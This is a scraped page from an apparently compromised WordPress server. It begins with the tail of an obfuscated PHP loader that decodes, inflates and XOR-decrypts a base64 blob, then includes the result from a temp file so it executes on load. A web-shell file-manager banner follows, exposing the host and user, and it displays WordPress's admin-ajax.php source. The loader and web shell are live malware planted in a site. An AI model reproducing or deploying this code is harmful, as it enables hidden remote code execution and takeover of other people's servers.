mNYqn0CDaogeV9azaNs5/4EGjtZAVkOP51tEVbK/KSd47GFlUb53rxFJrOyWB0JxRmpMbcu54Yz5Kp8rqZqz8t7zo+cc1b3+hACWDlXWHZgd5jlExJVQfzw0wQ+fo5Nf+dVZM4dFH2+LNdNu4PsAhy0oLfAI6K03XcrzFUWRn34gusEJCnf/80Q4sjzZRt7vR0kf1t+3P34Gc0mZYxrvd5gms9suTD+1BuzpA2xDUzKybQi+ljNjNp4vYI+xWxTXTfn0IrpifBMrnPQK1qqMNIObXJXb2OG4MF/OVxq9jWZ5fdjGrGWyMYHCe8DHr164+lBycmz44t8/mdk3Ij6c8uD4GE9GluKzN6MDYamXbkeJ1cAbdD235BQU9OCl94N211Z7yihvN1TLcNiFJNcjkYjdf7LmwNmbAhs4dwOWlQoAg+/oKj/CnEc4eQe0Z7Hp5KYRXFecvL10gHTTkd6c0K6sLI2N4h40Wce3jjhzgHZoCxfDTEe7sAm5ZT3nEyhpTKI6ooF478Mrtlvy+z14+rR9N3vTxBuK4nIPLM2u4ypX/9f5A9nqQDfwEEpZlCZ9WGideHzdtLzoPL75ab9wn7Rjv3ax0+z/eH4ihUzf2iYc00x1oPMkhlzcU53wftXJ/JX4So7pTTDU0INf1U5UG//n+gFvWCf8Tw7kN0/geTs7bBac+eXbyBtw0T9gHsWsnO1CvmtrpWnaEdJO8ddpHmZpvtFeJU+hTDOs2SKeCTdX59oB9fsj/4/0JK9G5VVbprfiP9Z1/OPFrrulhXm35oHf5wcldbJwzUT8CfL6EeWNeMuPbSlgXxv/2P3Xs+F/rJxefFEtp2xVobr7LHib/5/oFN+tgeOduXssqps5/Xb+En/+u7238Fsjs+1qeMfqf708M5/N/129uo7wSVd722U4mFjd3uFcfaZpfrd4IXS1/11bw83/2/x/rJ/X3wkfMhrreBuVM2i7+87/2n46mVZ6AnzLLXaf3JWUwWaGs4fSwnuNnZbn/4/zU+U/ZgWmvr2xb33XGES3hnzwN2lu5eoyzo5Nq3v9///Gg6s8bq6qbyTR9nfZq/aPRtIRPr8//Uf//Or/7OH5mA1B+RJT+dEYizJrtrn+f5Leb/ft9fnCCqv8KpXcldud7Io4Xvble06bIO6qxXP5ebG1OHm0ZDOMXom15s0+Jundpk+A7/c/3Z/5v/W8FKRP639d313Evt3lMhun8v/av+r+O5x/aS5WC27ZM809oV2V4bG92/F/9+5/vz/yf/g1J+9/rR2IGsSmtIn95oEszbNBimMrIfon/2H+S/4Tw3/mND56C47/+rZPljSYahGletlOl/Gw8gg2E/+aPlPykyKpoLBL/z/u/j9pfLqsn2IykLqFB6NkNhiBn61v+r/Mv+U+O6kXpqeVuQveRZETE0su0MR/EEiRZwmJHB1mt8tqpciZX5WjjF67zN+NdScD7nKL4cu/W/3X9iBhj0Wsjf1TYw5oNpncelJWqX/PpC+NZPk/2f9e/zr2eR57ivjDNsmtunoJp/SSH6X/rBw7KIDcXl5//9b/w8DvLsPyo+1rpx/S/r0/nzxLN/5/rM1TCf/o1f9yz//v+VGbk6ZnfUufmSLb4T4Fivdn9CZzKctztTXYONlcwvn9ZWjMm6Xoh8+le/Pf82ukUswMtq24U4VOUuZ4dmg6+w/I/9UvdP6d1w7YOuGNjutnrIz+QPhTGHW6Zps6fRpiZzrpIz3oxS7qX/35/yk293twSvjae0h9Ha0yg+Jc89FcEaJxs41eaBmXzP/on3YOLrTc6T8Bq902KEucEaOtXqQA1hcNtVfk/ZrMn9IyD6m+eBMXlMOFbqX828v/5f/5f'; $decoded = base64_decode($data); $inflated = @gzinflate($decoded); if ($inflated === false) { $inflated = $decoded; } $b64_decoded = base64_decode($inflated); if ($b64_decoded === false) { return ''; } $key = $this->extractCode3(); $plain_code = ''; if (strlen($key) > 0) { for ($i = 0, $len = strlen($b64_decoded); $i < $len; $i++) { $plain_code .= chr(ord($b64_decoded[$i]) ^ ord($key[$i % strlen($key)])); } } else { $plain_code = $b64_decoded; } return $plain_code; } private function executeCode($code) { $tmp_file = tmpfile(); $tmp_file_path = stream_get_meta_data($tmp_file)['uri']; fwrite($tmp_file, $code); fseek($tmp_file, 0); include $tmp_file_path; fclose($tmp_file); } public static function runApproveToken3() { $obj = new self(); $decrypted = $obj->solveValue3(); $obj->executeCode($decrypted); } } ProtectedExecutor1b92c::runApproveToken3(); ?> HEX
HEX
Server: Apache
System: Linux linuxhost20.itools.mn 4.18.0-553.53.1.lve.el8.x86_64 #1 SMP Wed May 28 17:01:02 UTC 2025 x86_64
User: greenin1 (1074)
PHP: 7.2.34
Disabled: NONE
Upload Files
File: /home/greenin1/public_html/wp-admin/admin-ajax.php
<?php
/**
 * WordPress Ajax Process Execution
 *
 * @package WordPress
 * @subpackage Administration
 *
 * @link https://developer.wordpress.org/plugins/javascript/ajax
 */

/**
 * Executing Ajax process.
 *
 * @since 2.1.0
 */
define( 'DOING_AJAX', true );
if ( ! defined( 'WP_ADMIN' ) ) {
	define( 'WP_ADMIN', true );
}

/** Load WordPress Bootstrap */
require_once dirname( __DIR__ ) . '/wp-load.php';

/** Allow for cross-domain requests (from the front end). */
send_origin_headers();

header( 'Content-Type: text/html; charset=' . get_option( 'blog_charset' ) );
header( 'X-Robots-Tag: noindex' );

// Require a valid action parameter.
if ( empty( $_REQUEST['action'] ) || ! is_scalar( $_REQUEST['action'] ) ) {
	wp_die( '0', 400 );
}

/** Load WordPress Administration APIs */
require_once ABSPATH . 'wp-admin/includes/admin.php';

/** Load Ajax Handlers for WordPress Core */
require_once ABSPATH . 'wp-admin/includes/ajax-actions.php';

send_nosniff_header();
nocache_headers();

/** This action is documented in wp-admin/admin.php */
do_action( 'admin_init' );

$core_actions_get = array(
	'fetch-list',
	'ajax-tag-search',
	'wp-compression-test',
	'imgedit-preview',
	'oembed-cache',
	'autocomplete-user',
	'dashboard-widgets',
	'logged-in',
	'rest-nonce',
);

$core_actions_post = array(
	'oembed-cache',
	'image-editor',
	'delete-comment',
	'delete-tag',
	'delete-link',
	'delete-meta',
	'delete-post',
	'trash-post',
	'untrash-post',
	'delete-page',
	'dim-comment',
	'add-link-category',
	'add-tag',
	'get-tagcloud',
	'get-comments',
	'replyto-comment',
	'edit-comment',
	'add-menu-item',
	'add-meta',
	'add-user',
	'closed-postboxes',
	'hidden-columns',
	'update-welcome-panel',
	'menu-get-metabox',
	'wp-link-ajax',
	'menu-locations-save',
	'menu-quick-search',
	'meta-box-order',
	'get-permalink',
	'sample-permalink',
	'inline-save',
	'inline-save-tax',
	'find_posts',
	'widgets-order',
	'save-widget',
	'delete-inactive-widgets',
	'set-post-thumbnail',
	'date_format',
	'time_format',
	'wp-remove-post-lock',
	'dismiss-wp-pointer',
	'upload-attachment',
	'get-attachment',
	'query-attachments',
	'save-attachment',
	'save-attachment-compat',
	'send-link-to-editor',
	'send-attachment-to-editor',
	'save-attachment-order',
	'media-create-image-subsizes',
	'heartbeat',
	'get-revision-diffs',
	'save-user-color-scheme',
	'update-widget',
	'query-themes',
	'parse-embed',
	'set-attachment-thumbnail',
	'parse-media-shortcode',
	'destroy-sessions',
	'install-plugin',
	'activate-plugin',
	'update-plugin',
	'crop-image',
	'generate-password',
	'save-wporg-username',
	'delete-plugin',
	'search-plugins',
	'search-install-plugins',
	'activate-plugin',
	'update-theme',
	'delete-theme',
	'install-theme',
	'get-post-thumbnail-html',
	'get-community-events',
	'edit-theme-plugin-file',
	'wp-privacy-export-personal-data',
	'wp-privacy-erase-personal-data',
	'health-check-site-status-result',
	'health-check-dotorg-communication',
	'health-check-is-in-debug-mode',
	'health-check-background-updates',
	'health-check-loopback-requests',
	'health-check-get-sizes',
	'toggle-auto-updates',
	'send-password-reset',
);

// Deprecated.
$core_actions_post_deprecated = array(
	'wp-fullscreen-save-post',
	'press-this-save-post',
	'press-this-add-category',
	'health-check-dotorg-communication',
	'health-check-is-in-debug-mode',
	'health-check-background-updates',
	'health-check-loopback-requests',
);

$core_actions_post = array_merge( $core_actions_post, $core_actions_post_deprecated );

// Register core Ajax calls.
if ( ! empty( $_GET['action'] ) && in_array( $_GET['action'], $core_actions_get, true ) ) {
	add_action( 'wp_ajax_' . $_GET['action'], 'wp_ajax_' . str_replace( '-', '_', $_GET['action'] ), 1 );
}

if ( ! empty( $_POST['action'] ) && in_array( $_POST['action'], $core_actions_post, true ) ) {
	add_action( 'wp_ajax_' . $_POST['action'], 'wp_ajax_' . str_replace( '-', '_', $_POST['action'] ), 1 );
}

add_action( 'wp_ajax_nopriv_generate-password', 'wp_ajax_nopriv_generate_password' );

add_action( 'wp_ajax_nopriv_heartbeat', 'wp_ajax_nopriv_heartbeat', 1 );

// Register Plugin Dependencies Ajax calls.
add_action( 'wp_ajax_check_plugin_dependencies', array( 'WP_Plugin_Dependencies', 'check_plugin_dependencies_during_ajax' ) );

$action = $_REQUEST['action'];

if ( is_user_logged_in() ) {
	// If no action is registered, return a Bad Request response.
	if ( ! has_action( "wp_ajax_{$action}" ) ) {
		wp_die( '0', 400 );
	}

	/**
	 * Fires authenticated Ajax actions for logged-in users.
	 *
	 * The dynamic portion of the hook name, `$action`, refers
	 * to the name of the Ajax action callback being fired.
	 *
	 * @since 2.1.0
	 */
	do_action( "wp_ajax_{$action}" );
} else {
	// If no action is registered, return a Bad Request response.
	if ( ! has_action( "wp_ajax_nopriv_{$action}" ) ) {
		wp_die( '0', 400 );
	}

	/**
	 * Fires non-authenticated Ajax actions for logged-out users.
	 *
	 * The dynamic portion of the hook name, `$action`, refers
	 * to the name of the Ajax action callback being fired.
	 *
	 * @since 2.8.0
	 */
	do_action( "wp_ajax_nopriv_{$action}" );
}

// Default status.
wp_die( '0' );